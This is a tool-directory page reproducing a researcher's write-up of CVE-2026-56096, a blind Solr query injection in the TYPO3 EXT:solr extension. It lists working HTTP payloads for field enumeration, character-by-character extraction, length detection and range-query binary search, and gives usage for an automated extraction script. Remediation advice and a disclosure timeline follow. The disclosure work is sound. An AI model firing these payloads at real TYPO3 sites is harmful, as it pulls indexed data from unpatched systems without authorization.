Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-56096 — Proof of concept and technical write-up for CVE-2026-56096, a blind Solr query injection in TYPO3 EXT:solr enabling unauthenticated field enumeration and data extraction. | Kitploit
Outils/GitHubGitHub/yairhinkis/cve-2026-56096
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPapers & Research
GitHubyairhinkis/cve-2026-56096

CVE-2026-56096

Proof of concept and technical write-up for CVE-2026-56096, a blind Solr query injection in TYPO3 EXT:solr enabling unauthenticated field enumeration and data extraction.

Voir le dépôt
336il y a 8 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Contenu non disponible dans la langue demandée. Affichage de la version anglaise.

CVE-2026-56096: Solr Query Injection & Blind Data Extraction in TYPO3 EXT:solr

An architectural security vulnerability was discovered in the official TYPO3 Apache Solr extension (EXT:solr / apache-solr-for-typo3/solr). The issue allows unauthenticated remote attackers to inject arbitrary Solr/Lucene query syntax via the search parameter tx_solr[q], enabling unauthorized blind field enumeration and full metadata extraction from the search index.


Metadata

  • CVE ID: CVE-2026-56096
  • Vulnerability Type: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
  • Target Component: EXT:solr (Search parameter: tx_solr[q])
  • CVSS v4.0 Score: 6.3 (Medium) — CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
  • Researcher: Yair Hinkis

Vulnerability Overview

The EXT:solr extension accepts user-supplied search terms via the tx_solr[q] parameter and forwards them to the Apache Solr engine. By design, the extension allows specific query operators—such as wildcards (*), single-character wildcards (?), field selectors (:), and range queries ([a TO z])—to support legitimate functionality like faceted filtering.

Because these characters were passed directly to the backend query construction without an enforcing whitelist or query abstraction layer, an attacker can supply field-specific syntax to escape intended search boundaries. This allows unauthenticated users to query internal Solr fields directly and extract index data using boolean-based blind techniques.


Attack Techniques

1. Field Enumeration via field:*

By appending a wildcard to an arbitrary or guessed field name, an attacker can verify if the field exists within the schema:

GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com

If the field exists, Solr processes the query across all matching records (often triggering distinct response codes or volume-related behaviors), allowing automated wordlist-based field enumeration.


2. Blind Value Extraction via Prefix Wildcards

Attackers can extract sensitive field values character-by-character using boolean inference:

GET /search?tx_solr[q]=siteHash:a* HTTP/1.1  --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1  --> "Nothing found" (Value does not begin with 'b')


3. Length Detection via the ? Operator

The single-character wildcard operator (?) can determine the exact length of a stored string before starting character iteration:

GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1   (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1  (Checks for 13+ characters)


4. Accelerated Range Queries ([a TO z])

Range queries permit binary-search extraction on the initial character, cutting down the requests needed from 26 to ~5 per character position:

GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1  --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1  --> Determines if character falls within 'n'-'z'

Combining length detection, range queries, and prefix wildcards allows full field extraction with a minimal request footprint.


Proof of Concept / Usage

An automated verification script (poc.py) is provided to demonstrate blind extraction using the techniques outlined above.

Usage Example

python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"

Options

  • -u, --url: Target URL pointing to the TYPO3 search endpoint.

  • -f, --field: Schema field name to enumerate/extract (e.g., appKey, siteHash).

  • -c, --cookies: (Optional) Session cookies if authentication/WAF bypass verification is required.

  • -o, --output: Output file to store discovered prefixes (default: validated_fields.txt).


Impact

  • Confidentiality Violation: Full extraction of all fields indexed in Apache Solr (e.g., internal system hashes, hidden page content, user-related metadata, and system identifiers).
  • Access Control Bypass: Bypasses frontend search filters and TypoScript display restrictions.
  • Scope: Affected all default installations utilizing the EXT:solr search endpoint.

Remediation

Global character escaping is insufficient because operators like * and : serve intended search features. Remediation requires an application-layer whitelist and parsing model:

  1. Parse user-supplied query strings into an Abstract Syntax Tree (AST) before dispatching to the Solr engine.
  2. Enforce strict allowlists on permissible field targets, disallowing direct user queries against internal or restricted fields.
  3. Neutralize non-whitelisted operator abuse originating from untrusted input contexts.

Coordinated Disclosure Timeline

  • March 6, 2026: Identified vulnerability during an authorized assessment; initial vendor notification.
  • April 17, 2026: Vendor implemented local edge mitigations; confirmed upstream bug nature.
  • May 8, 2026: Formal vulnerability report submitted to the TYPO3 Security Team ([email protected]).
  • June 15, 2026: TYPO3 Security Team confirmed reproduction and initiated patch development with extension maintainers.
  • August 25, 2026: Official security bulletin issued, patch published, and CVE-2026-56096 assigned.

References

  • TYPO3 Security Advisory: TYPO3-EXT-SA-2026-025
  • CWE Definition: CWE-943: Improper Neutralization of Special Elements in Data Query Logic
Télécharger l’outil